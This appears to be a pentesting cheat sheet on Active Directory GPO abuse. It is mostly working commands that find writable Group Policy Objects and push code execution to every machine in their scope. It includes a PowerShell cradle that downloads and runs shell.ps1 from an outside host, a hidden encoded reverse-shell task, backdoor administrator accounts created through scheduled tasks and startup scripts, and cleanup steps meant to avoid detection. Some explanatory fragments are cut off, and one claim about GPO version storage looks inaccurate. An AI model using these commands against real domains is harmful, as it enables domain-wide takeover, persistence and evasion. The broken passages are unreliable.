GPO Abuse
Enumerate Group Policy Objects, identify writable GPOs, and deploy payloads through GPO manipulation. Covers SharpGPOAbuse, pyGPOAbuse, manual GPO editing, and cleanup.
Sections GPO Abuse
You have write access to a GPO or have compromised a user who can create/edit Group Policy Objects. GPOs push configuration to every machine and user in their linked scope, making them a powerful escalation and persistence vector. A writable GPO linked to the Domain Controllers OU gives you code execution on every DC.
GPO Enumeration
Finding GPOs and Their Links
# NetExec - list GPOs
netexec ldap 10.10.11.35 -u svc_backup -p 'P@ssw0rd123' -M gpp_autologin
# ldapsearch - all GPOs
ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "CN=Policies,CN=System,DC=corp,DC=local" "(objectClass=groupPolicyContainer)" \
displayName cn gPCFileSysPath gPCMachineExtensionNames
# ldapsearch - find which OUs link to which GPOs
ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "DC=corp,DC=local" "(gpLink=*)" dn gpLink
# PowerView
PS C:\> Get-DomainGPO | Select-Object DisplayName, Name, GPCFileSysPath
# GPOs linked to the Domain Controllers OU
PS C:\> Get-DomainGPO -SearchBase "OU=Domain Controllers,DC=corp,DC=local" | Select-Object DisplayName
# GPOs applied to a specific computer
PS C:\> Get-DomainGPO -ComputerIdentity ws01 | Select-Object DisplayName, GPCFileSysPath
# GPOs applied to a specific user
PS C:\> Get-DomainGPO -UserIdentity svc_backup | Select-Object DisplayName
# AD Module
PS C:\> Get-GPO -All | Select-Object DisplayName, Id, GpoStatus
PS C:\> (Get-GPO -Name "Default Domain Policy").GenerateReport('html') | Out-File C:\Temp\gpo_report.html
# gpresult on current machine
PS C:\> gpresult /r
PS C:\> gpresult /z
Finding Writable GPOs
A writable GPO means you can modify its files on the SYSVOL share or its LDAP object. Either path lets you inject payloads.
ACL-Based Discovery
# BloodHound CE Cypher - find GPOs your user can write
MATCH p=(u:User {name:'SVC_BACKUP@CORP.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner]->(g:GPO) RETURN p
# dacledit - check ACL on a specific GPO
impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target-dn "CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=corp,DC=local" -action read
# PowerView - find GPOs where your user has modify rights
PS C:\> Get-DomainGPO | ForEach-Object {
>> $gpo = $_
>> $acl = Get-DomainObjectAcl -Identity $_.Name -ResolveGUIDs
>> $acl | Where-Object {
>> $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner|WriteProperty" -and
>> $_.IdentityReferenceName -eq "svc_backup"
>> } | ForEach-Object {
>> [PSCustomObject]@{
>> GPOName = $gpo.DisplayName
>> Right = $_.ActiveDirectoryRights
>> }
>> }
>> }
# Check who can create GPOs
PS C:\> Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "CreateChild"} | Select-Object IdentityReferenceName
# Find Group Policy Creator Owners members
PS C:\> Get-DomainGroupMember -Identity "Group Policy Creator Owners" | Select-Object MemberName
SYSVOL Share Permissions
# Check if you can write to the GPO files directly on SYSVOL
root@localhost:~# smbmap -H 10.10.11.35 -u svc_backup -p 'P@ssw0rd123' -r 'SYSVOL/corp.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}' --depth 5
# List GPO directory structure
root@localhost:~# smbclient //10.10.11.35/SYSVOL -U 'svc_backup%P@ssw0rd123' -c 'cd corp.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}; ls; cd Machine; ls'
GPO Exploitation with SharpGPOAbuse
SharpGPOAbuse automates adding malicious configurations to existing GPOs.
Immediate Scheduled Task (Most Common)
Creates a scheduled task that runs once immediately on all machines where the GPO applies. This is the fastest way to get code execution.
# Add an immediate scheduled task to a GPO
PS C:\> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "WindowsUpdate" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/shell.ps1')" --GPOName "Default Domain Policy"
# Add a task that creates a local admin
PS C:\> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Maintenance" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" --GPOName "Server Maintenance Policy"
# Add a user-context task
PS C:\> .\SharpGPOAbuse.exe --AddUserTask --TaskName "ChromeUpdate" --Author "corp\svc_backup" --Command "cmd.exe" --Arguments "/c whoami > C:\Temp\gpo_output.txt" --GPOName "Default Domain Policy"
Startup Script
Runs every time the machine boots. Persistent but slower (requires reboot or gpupdate).
# Add a startup script
PS C:\> .\SharpGPOAbuse.exe --AddComputerScript --ScriptName "update.bat" --ScriptContents "net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" --GPOName "Default Domain Policy"
Local Group Membership Modification
Add a user to the local Administrators group on every machine the GPO applies to.
# Add svc_backup to local admins via GPO
PS C:\> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount svc_backup --GPOName "Default Domain Policy"
# Add a domain group to local admins
PS C:\> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "IT Support" --GPOName "Workstation Policy"
GPO Exploitation with pyGPOAbuse (Linux)
# Add an immediate scheduled task
root@localhost:~# python3 pygpoabuse.py corp.local/svc_backup:'P@ssw0rd123' \
-gpo-id "6AC1786C-016F-11D2-945F-00C04fB984F9" \
-command "cmd.exe /c net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" \
-taskname "WindowsUpdate" \
-description "Windows Update Service" \
-f
# Add a scheduled task with a reverse shell
root@localhost:~# python3 pygpoabuse.py corp.local/svc_backup:'P@ssw0rd123' \
-gpo-id "6AC1786C-016F-11D2-945F-00C04fB984F9" \
-command "powershell.exe -ep bypass -w hidden -e <base64_encoded_payload>" \
-taskname "SecurityScan" \
-description "Scheduled security scan" \
-f
{31B2F340-016D-11D2-945F-00C04FB984F9}. The Default Domain Controllers Policy is {6AC1786C-016F-11D2-945F-00C04fB984F9}.Manual GPO Editing
If automated tools are not available, you can edit GPO files directly on the SYSVOL share.
Adding a Scheduled Task Manually
# Connect to SYSVOL
root@localhost:~# smbclient //10.10.11.35/SYSVOL -U 'svc_backup%P@ssw0rd123'
# Navigate to the GPO's Machine preferences
smb: \> cd corp.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\Machine\Preferences\ScheduledTasks\
# Upload a ScheduledTasks.xml file
smb: \> put ScheduledTasks.xml
ScheduledTasks.xml Template
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="WindowsUpdate" image="0" changed="2026-03-18 00:00:00" uid="{A7B8C9D0-E1F2-3A4B-5C6D-7E8F9A0B1C2D}" userContext="0" removePolicy="0">
<Properties action="C" name="WindowsUpdate" runAs="NT AUTHORITY\SYSTEM" logonType="S4U">
<Task version="1.2">
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\SYSTEM</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Actions>
<Exec>
<Command>cmd.exe</Command>
<Arguments>/c net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
Forcing a GPO Update
After modifying a GPO, you need machines to pull the update. By default, GPO refreshes happen every 90 minutes with a random offset of 0-30 minutes. You can force an immediate update if you have access.
# Force GPO update on the local machine
PS C:\> gpupdate /force
# Force GPO update on a remote machine (requires admin)
PS C:\> Invoke-GPUpdate -Computer ws01 -Force
# Force update via WMI
PS C:\> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c gpupdate /force" -ComputerName ws01
GPO Scope and Targeting
Understanding where a GPO applies is critical. Modifying a GPO linked to the wrong OU does nothing, and modifying one linked to the Domain OU hits everything.
# Find the OUs a GPO is linked to
PS C:\> Get-DomainGPO -Identity "Server Maintenance Policy" | Select-Object -ExpandProperty distinguishedname
PS C:\> Get-DomainOU | Where-Object {$_.gpLink -like "*{GPO-GUID}*"} | Select-Object Name, DistinguishedName
# Find all machines in the scope of a GPO
PS C:\> Get-DomainOU -GPLink "{6AC1786C-016F-11D2-945F-00C04fB984F9}" | ForEach-Object {
>> Get-DomainComputer -SearchBase $_.DistinguishedName | Select-Object Name
>> }
| GPO Link Target | Impact |
|---|---|
| Domain root | Every machine and user in the domain |
| Domain Controllers OU | All DCs |
| Specific OU (e.g., Servers) | Only machines/users in that OU |
| Site | All machines in that AD site |
Cleanup
After exploitation, remove the malicious GPO modifications to avoid detection and operational impact.
# SharpGPOAbuse cleanup - remove the scheduled task
PS C:\> .\SharpGPOAbuse.exe --RemoveComputerTask --TaskName "WindowsUpdate" --GPOName "Default Domain Policy"
# SharpGPOAbuse cleanup - remove the startup script
PS C:\> .\SharpGPOAbuse.exe --RemoveComputerScript --ScriptName "update.bat" --GPOName "Default Domain Policy"
# SharpGPOAbuse cleanup - remove local admin addition
PS C:\> .\SharpGPOAbuse.exe --RemoveLocalAdmin --UserAccount svc_backup --GPOName "Default Domain Policy"
# Manual cleanup via SMB - delete the ScheduledTasks.xml
root@localhost:~# smbclient //10.10.11.35/SYSVOL -U 'svc_backup%P@ssw0rd123' -c 'del corp.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml'
# Increment the GPO version number to force clients to pick up the change
# The version is stored in GPT.INI on SYSVOL and in the gPCMachineExtensionNames LDAP attribute
GPT.INI on SYSVOL. If you do not, clients will not pull the updated (cleaned) GPO because they think they already have the latest version.